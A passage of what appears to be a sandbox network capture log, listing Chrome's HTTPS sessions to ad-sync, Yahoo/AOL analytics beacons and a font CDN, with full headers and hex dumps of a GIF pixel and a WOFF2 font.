563	192.168.2.6	50386	18.192.200.108	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	684	OUT	GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	83	IN	HTTP/1.1 204 No Content Date: Thu, 23 May 2024 22:35:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.6	50365	54.217.19.5	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	778	OUT	GET /bridge.gif?AG_PID=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.adgrx.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ADGRX_UID=b6bfeee6-1954-11ef-855d-a248653d767a
2024-05-23 22:35:10 UTC	816	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: image/gif Content-Length: 0 Connection: close server: Cowboy set-cookie: ADGRX_UID=b6bfeee6-1954-11ef-855d-a248653d767a; Version=1; Expires=Sun, 22-Jun-2025 22:35:10 GMT; Max-Age=34128000; Domain=.adgrx.com; Path=/; Secure; SameSite=None set-cookie: ADGRX_CM_PUBMATIC_BRIDGED=1; Version=1; Expires=Fri, 24-May-2024 22:35:10 GMT; Max-Age=86400; Domain=.adgrx.com; Path=/; Secure; SameSite=None Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=b6bfeee6-1954-11ef-855d-a248653d767a Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate Pragma: no-cache Expires: Thu, 23 Sep 2004 17:42:04 GMT P3P: CP="NOI OTC OTP OUR NOR" Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.6	50390	69.166.1.67	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	851	OUT	GET /us.gif?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&loc=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsonobi%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BUID%5D HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __uis=3e69915a-aa81-453c-8be6-621af7150f41; HAPLB8G=s8623\|Zk/En
2024-05-23 22:35:11 UTC	809	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:10 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-6-23 x-xss-protection: 0 location: https://pbs.yahoo.com/setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3e69915a-aa81-453c-8be6-621af7150f41 set-cookie: __uis=3e69915a-aa81-453c-8be6-621af7150f41; expires=Sat, 22 Jun 2024 22:35:10 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s8623\|Zk/Eo; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.6	50391	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	3629	OUT	POST /p?_V=V&V_sec=pb&evt=v_api&t=0.4643635679697411&_sqno=1&ts=594&auto=false&bckt=none&ccode=&cdn=bcp&cont=1&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=1&intl=us&lang=en-US&layout=aolgrid&lms_id=a077000000IpoJiAAJ&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=init&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=42b897a6-9771-3329-b351-69a701a77438&pstaid_p=&pstcat=&psz=368x276&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=vod+short&ar=1.33&ver=td-app-aol&vid=42b897a6-9771-3329-b351-69a701a77438&vidPos=&vlng=68&vs=b2be1uzt&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&adUrl=https%3A%2F%2Ftb.pbs.yahoo.com%2Fv1%2Fevp%2Fasset%3Fbcid%3D5afc769f7239855a15fcee15%26pid%3D5afc75ea3a04293dad9f1a1f%26secure%3Dtrue%26rssId%3D42b897a6-9771-3329-b351-69a701a77438%26fi [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:11 UTC	1058	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 94 date: Thu, 23 May 2024 22:35:11 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.6	50392	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	1592	OUT	POST /p?s=1197803361&t=KjEw0pGGcKYFZwdm,0.8430404352851371&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503683%04A_prems%03993%04_E%03dwell%04_ts%031716503699%04_ms%03149%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:11 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:11 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.6	50396	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	584	OUT	GET /cv/apiv2/aolfp/fonts/opensans/Open_Sans-Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:11 UTC	815	IN	HTTP/1.1 200 OK x-amz-id-2: cspEq5nSQkZVrcgvbGdQHopSiWHozArRPTSXpJ8Y12BzListLxg92zcc1wUbk3Cmeou1Ne5xMsk= x-amz-request-id: 7T57XZVACRBK03JS Date: Tue, 14 May 2024 12:00:33 GMT Last-Modified: Thu, 08 Dec 2022 13:22:59 GMT ETag: "bb980c649e36b9383b349df5028c41e0" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 59528 Referrer-Policy: no-referrer-when-downgrade Age: 815679 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 e8 88 00 12 00 00 00 01 fe 64 00 00 e8 1e 00 03 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 3e 1b f2 74 1c 9e 06 06 60 3f 53 54 41 54 5e 00 87 76 08 81 7c 09 9f 14 11 10 0a 85 a5 18 84 cc 08 01 36 02 24 03 a3 4e 0b 91 6a 00 04 20 05 8b 46 07 ce 6a 0c 85 1f 5b aa c7 71 06 dd b6 5d d4 22 48 77 82 22 aa bf d6 ba 23 f1 02 53 87 50 8d 5b 7f b7 89 b0 e9 96 06 7f a7 2e ac 60 b7 05 83 ee 08 39 84 f6 a9 37 fb ff ff ff 37 24 15 19 b3 e9 20 6d 37 00 06 43 c4 eb f5 fe 57 a8 99 99 23 69 12 ee cc 12 12 1e 56 32 58 c9 39 d0 c4 06 73 e2 18 e6 a6 85 cb 34 87 2c 50 d7 6d 8e 69 95 b6 27 10 2e 70 b8 4a 76 76 95 c3 55 d3 b6 14 f6 e6 ac c3 6d 83 93 d1 5a 6b 75 56 1c 36 4b 76 7e a9 a4 4a f5 2e 0b 6f a7 3c 42 fb 96 67 21 Data Ascii: wOF2dB>t`?STAT^v\|6$Nj Fj[q]"Hw"#SP[.`977$ m7CW#iV2X9s4,Pmi'.pJvvUmZkuV6Kv~J.o<Bg!
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 1e a8 ce c4 8f 66 7d b3 49 bd 05 3a d5 1c 69 ce c9 5f 63 58 ef 98 aa 70 4c bd de ab 6b 10 93 e1 fc c8 15 86 cb 0b 10 12 0b 12 1e f8 ae a6 f3 df 6b 3c 1c 1d 0c 00 af 6b 0f 5d 0c 97 ac 16 30 e2 2c e0 e3 46 88 20 e4 d0 c2 f3 af 05 54 67 27 3a 78 be 74 65 b1 41 f3 8d 3d 86 7e c6 56 b4 99 cb 49 88 31 60 14 b9 5a fd dd c1 94 fa 1b 35 26 cd 44 5a e3 71 10 69 f7 88 a3 2d dd 31 d1 af 3d cb ea 4e dc 68 34 a4 24 77 c9 87 20 7c 6c 96 62 28 ea 7f a9 9a 2d b1 6f ff 05 2c 39 23 10 82 ef e8 10 42 d1 81 aa 5c c2 9d ab f2 b4 fb 57 81 bb 5f 89 80 13 e4 90 03 e5 b4 ba 8a e7 a8 d2 6e 3a 97 a9 72 ed b2 b2 cf bf 99 96 9f be ea ea 02 0a 18 60 44 ac e5 c8 02 2b 51 02 65 67 a4 20 01 21 6b 22 29 5c 29 93 22 29 aa ba ef bd 7a 55 ef 55 a1 bb ab 1a ae 1b 20 80 02 b0 24 80 25 b7 01 10 Data Ascii: f}I:i_cXpLkk<k]0,F Tg':xteA=~VI1`Z5&DZqi-1=Nh4$w \|lb(-o,9#B\W_n:r`D+Qeg !k")\)")zUU $%
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 9b 61 e4 44 df 08 3b cc 22 37 43 02 47 41 d5 b9 9a 79 30 79 65 12 f7 5b d3 64 f7 c1 12 4f 65 95 cd 64 01 03 f8 52 ee 00 33 58 64 5a 26 9c 68 8d ae 20 5e 57 e0 b6 11 38 0f 00 0f aa 63 a1 c9 e1 99 9c 8d e2 f0 ba 22 59 46 20 b8 51 51 75 ac f0 45 f6 1e 5a a2 af 7d ee e2 60 24 ce 9b 7f b6 cd f6 14 72 f1 af b0 ff c6 c1 21 8d 4b 24 7c d7 d2 2b 26 c3 6c 98 5b 6d 3e 1d 86 4b 4b 75 1d 71 6a 98 0a ef 93 f1 c7 6a c0 61 e1 97 26 3f dc 5c 3a 4a af 64 e1 14 14 49 4c 05 f3 20 d0 1c e0 1b 03 82 97 58 c8 bd 4f 8d 04 1b 05 7f df 72 95 d1 68 c6 08 bd cd 5f 28 d5 0d 7d ea 8a 32 50 de 78 65 57 51 67 48 bb 1e 62 33 4b 17 ba 83 b1 98 89 58 a3 2b 16 62 71 f0 f9 26 e5 2e 32 12 90 6d cd 55 ec 64 f1 d7 a8 bb 1e 45 f4 2f ca db f7 55 3d 41 75 47 e5 ca b7 03 db db 40 7e fb 69 25 07 d1 Data Ascii: aD;"7CGAy0ye[dOedR3XdZ&h ^W8c"YF QQuEZ}`$r!K$\|+&l[m>KKuqjja&?\:JdIL XOrh_(}2PxeWQgHb3KX+bq&.2mUdE/U=AuG@~i%
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: f3 14 86 69 c6 32 ad dc 9e 4e 1e cc 67 bc 76 1c f7 fc 82 77 fa fc fc 22 0f cb ff 0f 1f 84 a4 44 12 97 42 27 39 85 3d c5 4d c9 b7 73 1e af b9 fd f1 ed a7 33 7c 54 0d ab 63 49 0e eb bd 8a 90 25 6b 25 eb d6 28 ca b5 0b f5 d2 70 70 1d e7 cc 32 62 5b f6 ab 9f 5f 57 8a eb 36 35 58 b9 f0 a9 f0 15 3c ac b7 cb 03 be ad df 7e 5a 48 41 28 12 18 54 22 61 b5 44 a7 26 c0 48 4d f5 68 6a 76 67 1b 67 47 27 85 5a ee 02 1c af 83 d4 0a 9f 69 11 bc f4 07 ea bd 7f 1f 45 2e a2 b5 54 64 d7 4a c1 46 d9 c6 1e 19 47 2b 87 d1 e9 41 f4 62 f2 17 e5 5a ed 52 b9 b9 d3 21 f7 96 8e 84 eb 7c 22 44 6d b8 bc ef 3f c9 0f f6 7f 65 76 d8 c0 a6 1e 80 1b 82 96 06 63 36 ca 34 8b 73 8f 28 4e 43 4e 62 69 b9 55 25 f5 5b 40 9b 56 d3 ad 4d 0c 6e 31 8b f6 72 bf 66 0f 6f fe fe ee cd 46 ec d2 76 0c df 5f Data Ascii: i2Ngvw"DB'9=Ms3\|TcI%k%(pp2b[_W65X<~ZHA(T"aD&HMhjvggG'ZiE.TdJFG+AbZR!\|"Dm?evc64s(NCNbiU%[@VMn1rfoFv_
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 20 07 d5 90 5d a7 b8 7e f9 32 e6 fb 6e a3 b1 10 1b 33 f5 4f 55 14 80 8c 9f a3 82 c5 b5 30 48 bf c8 ef 6a ff 68 68 36 2b cb f5 5b 49 f0 c2 f9 6e 6d 8b 9b bf f8 c2 43 da 60 3d b1 66 fc 26 5f bc 6f 66 04 e1 1b e1 c1 4f fd d1 21 ce 10 d6 86 8f ee 22 86 05 f8 30 b6 88 6b 1e 9b 79 32 7a ab ce e4 da aa 07 5a 75 01 52 1d 3e 74 b9 23 ab 0b 74 5f 38 5b 69 e1 eb 96 3c 58 fb 6f 66 86 65 5d 97 4c 19 49 4e cd 13 59 35 0a 48 7d 8e e3 2c 80 5d 83 4e d4 67 a5 1e 6c c9 3d a5 1a 6a e7 8c 33 c0 2d df 2c b4 0d ce 33 fc 88 01 48 73 c4 86 d3 f0 57 e1 93 91 f4 c7 8f de 0a 5c 16 80 1e da cf a4 fe da 50 39 dd 1d 61 96 35 3d bc f9 70 4c db da f7 3b 12 ac 4c 9b b1 3a 52 c3 f4 27 ac ba 74 ec d3 1c d9 f3 79 f9 20 a2 32 08 7c a3 c3 9c d2 57 79 f3 c7 6b 52 bc 19 86 ba 38 c3 a3 3d 51 67 Data Ascii: ]~2n3OU0Hjhh6+[InmC`=f&_ofO!"0ky2zZuR>t#t_8[i<Xofe]LINY5H},]Ngl=j3-,3HsW\P9a5=pL;L:R'ty 2\|WykR8=Qg
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: b1 a7 db 70 13 b7 8c 7b b1 b8 87 5a a9 55 59 a4 2c 80 11 19 c9 a0 20 94 fa 0a f5 15 c5 7f b6 cd 89 1b 7d d8 88 42 b2 5a dd e7 3f 7e e4 8f 80 0c b2 fb c2 73 aa 3b 50 b8 ed 24 bd 3e 30 fc 10 bf ec 38 c2 20 02 04 6e cc 02 49 26 00 15 ac 5b 02 09 b3 73 eb bf f3 1f c6 e6 99 13 5b 0a cf a9 06 b1 ae 79 2c db 5e 05 5a 90 8a 16 a4 3e af b4 01 88 33 28 2a f3 0d c3 99 86 d1 5c 86 47 ee 59 6d c0 b6 a4 7b be 49 6d 30 5c 83 ad d9 d1 71 5c b4 23 6a dd e1 59 45 99 e1 a9 cd bb a6 88 3b 9c 82 12 d6 ac 80 e6 b1 e6 88 27 77 8d 82 9c 79 97 59 04 3e 4a 9e 74 46 de 61 3a e7 c6 18 9c 31 06 67 38 4f 63 b6 ed b1 5e 00 ce 18 c3 58 8f 5f ca 1d 44 3e c6 67 9a 90 c1 50 3d 5e 50 72 7c be 81 0b 6e 8b 4c 0b 39 78 75 f5 4d 2e cb 96 1c 22 d4 f4 75 c7 88 dc 4c 50 2e 66 49 c9 c9 30 7d a5 da Data Ascii: p{ZUY, }BZ?~s;P$>08 nI&[s[y,^Z>3(*\GYm{Im0\q\#jYE;'wyY>JtFa:1g8Oc^X_D>gP=^Pr\|nL9xuM."uLP.fI0}
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 96 b4 a5 23 33 99 cb 42 96 82 0a 26 2b 59 cb 46 b6 8d 44 a4 f2 3d c9 5e 70 21 e4 20 47 39 c9 59 2e 72 15 12 62 9f ea 5d 4b de ff dd 3a e1 a4 40 05 2b 4c 6e 72 97 87 50 f2 94 97 bc e5 23 5f f9 29 bc d3 bb 84 40 a2 d0 18 2c 6e f0 99 e0 87 c1 64 b1 39 5c 1e 5f 20 12 4b e4 0a a5 4a ad d1 1a fc ca 84 c3 f2 ad 10 45 a0 f6 e5 cf 72 38 19 65 2d 5d 27 cd 00 2e 90 69 fc 7b 5c a0 63 13 92 52 d1 33 aa 54 a7 59 27 12 4f b5 e1 50 fe f2 07 9b 5a 1b 30 24 06 4f a2 d4 0f 79 66 f3 dd 6b 6d 30 b4 bd 97 2f e6 65 f5 b7 ed 15 55 73 ab 39 66 67 4d f0 17 1f 16 18 21 b0 61 03 39 41 81 57 0e 0d de 9a 3c 8c 04 a7 c1 b0 fb 51 13 30 2a bf 1d e7 e6 e5 17 14 c6 14 53 90 a2 94 a4 0c 02 d9 a5 2d 1d 7b 8d 03 63 49 92 d2 3a 64 43 77 93 65 60 64 91 6c 81 a3 b4 40 a6 0d 70 98 48 fe 98 70 a4 Data Ascii: #3B&+YFD=^p! G9Y.rb]K:@+LnrP#_)@,nd9\_ KJEr8e-]'.i{\cR3TY'OPZ0$Oyfkm0/eUs9fgM!a9AW<Q0*S-{cI:dCwe`dl@pHp
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 19 fe d6 cb e0 b1 b0 7b 56 6c 74 17 1e bf 57 0f ec b1 18 20 cb d4 d9 e3 74 ec 64 2f 57 c4 72 b6 cc 5e 67 ea 75 b6 63 80 02 86 38 f8 18 f4 1f 9f 4b b4 14 4b 43 9f 88 ff 41 88 2d 76 b6 71 6d a6 6f b8 7f 1f de 3e 8e 30 56 b9 14 37 28 60 fb 99 50 23 dd ce db 71 ab c3 a7 ae 00 d0 87 8f f0 10 e8 7f f7 79 e3 f3 fa e7 b5 2f a9 68 c7 2c 1f bc b9 be f1 ba 7d de 00 f4 3f 03 f4 df 7d ae f6 37 5f 94 18 b9 85 28 f3 f7 b7 64 ff 76 37 3b fe 9f ff a3 fe b3 fa e7 b3 ff 80 9b 1b 4e f4 ae 3f 01 13 18 41 07 32 90 82 00 f8 c0 28 9e 01 00 5f fc 50 64 37 f0 c5 2b d7 f5 3f 5a c0 67 2f 5d 67 bc 7c 4e 3f f8 fe fc e2 c3 8b 97 2f 26 b3 97 6b 5e d7 5c af b9 dc 28 fc b6 bb 66 fd a2 9f ff 98 aa a9 14 7d 02 d6 dd c4 0c ff dc 7f c6 9e 7b cf e8 33 f2 dc 15 d4 6d 40 3c ce ef 93 64 dc cf 82 Data Ascii: {VltW td/Wr^guc8KKCA-vqmo>0V7(`P#qy/h,}?}7_(dv7;N?A2(_Pd7+?Zg/]g\|N?/&k^\(f}{3m@<d
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 7a 8e c1 4d 8d db de 96 37 ca e0 ea 24 2a e1 fb fc 4e 1b 6a 43 32 f4 f8 52 72 8d cc 30 49 21 77 f6 45 9b bc 20 b9 ad 36 1e cc 0c 52 91 36 1b 07 99 19 e5 72 dc b5 dd 51 73 ba 10 c7 9d 01 e9 b9 54 c0 0d 53 ea 27 2f f5 90 91 bc d1 b3 c6 4b 74 cc 04 0b 26 d7 9f 2d a5 34 4b dc 82 87 33 19 cb 93 a0 3c 33 1a 72 dc 89 86 0e 6c 4e c8 2a cf 52 70 05 c3 be dc 04 30 e6 00 5b a4 4c cb 26 e6 37 6f 20 5c 46 e0 06 c2 8c bf 70 b3 e2 be e5 ec 00 b5 34 96 ab 00 ed 6c 89 2f 8c 41 4f c7 75 9f 8d 67 6d 03 36 02 b4 38 27 d8 be df fb 4e d2 82 30 9f 5a 70 7d 2e ab 4b 75 46 a6 af 61 3e 56 82 fc 6e c3 2d 66 43 31 0d 68 9d f3 99 3e 01 00 39 46 79 ff 00 58 25 33 d0 b4 2d 7d 3d c7 e0 8e 0d f3 55 9d 61 a8 78 cf 56 6c f5 cd e9 04 18 75 18 2e 57 32 21 dc 7d 70 1b a6 0d 77 03 98 79 8c a3 Data Ascii: zM7$NjC2Rr0I!wE 6R6rQsTS'/Kt&-4K3<3rlNRp0[L&7o \Fp4l/AOugm68'N0Zp}.KuFa>Vn-fC1h>9FyX%3-}=UaxVlu.W2!}pwy
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 7c ea 5b 7c 27 a5 ac 95 97 f9 d7 f8 fb d8 b8 10 f1 eb 70 fd 35 3b 20 0c cc f7 e4 1f 04 39 36 ab 72 2c 07 ae d5 b2 7b 66 67 4f 6c 20 9e b0 f6 d1 c3 45 15 8d a5 ff c1 0b f2 b8 35 c6 9c a7 61 52 bf d7 6c a9 9a a5 90 eb 3c 86 28 4f f9 5f eb ef e9 bd 4f 86 12 11 a9 c3 10 6a 66 7f 24 92 98 52 2f b4 fc e9 91 17 07 b6 e2 66 78 d0 25 4f e9 17 03 f3 af ff 70 fd ba 14 d0 78 f2 a8 43 27 d6 13 63 60 8b a8 7c ea d2 70 41 62 be 0b 21 24 66 1f 9e 5b 10 ab 89 80 e1 26 2f d4 41 b4 a2 93 62 80 80 b3 01 8d c1 c1 90 7f ed e0 a5 bf 37 d8 1f dc b0 75 72 70 80 c1 40 34 6c f1 8f 04 33 b1 de 1a 0d bd 07 05 b7 a8 31 38 ab 8b f3 fc 41 45 77 07 6b 45 6a 20 db 4d 91 5e 6d 55 ed 83 c7 4c 18 31 d1 35 07 d7 7c 91 fc 68 55 1e e8 fa 4c e7 25 e1 78 3c fa 42 f4 dd 01 71 8e 6b 33 0c 0b e1 18 Data Ascii: \|[\|'p5; 96r,{fgOl 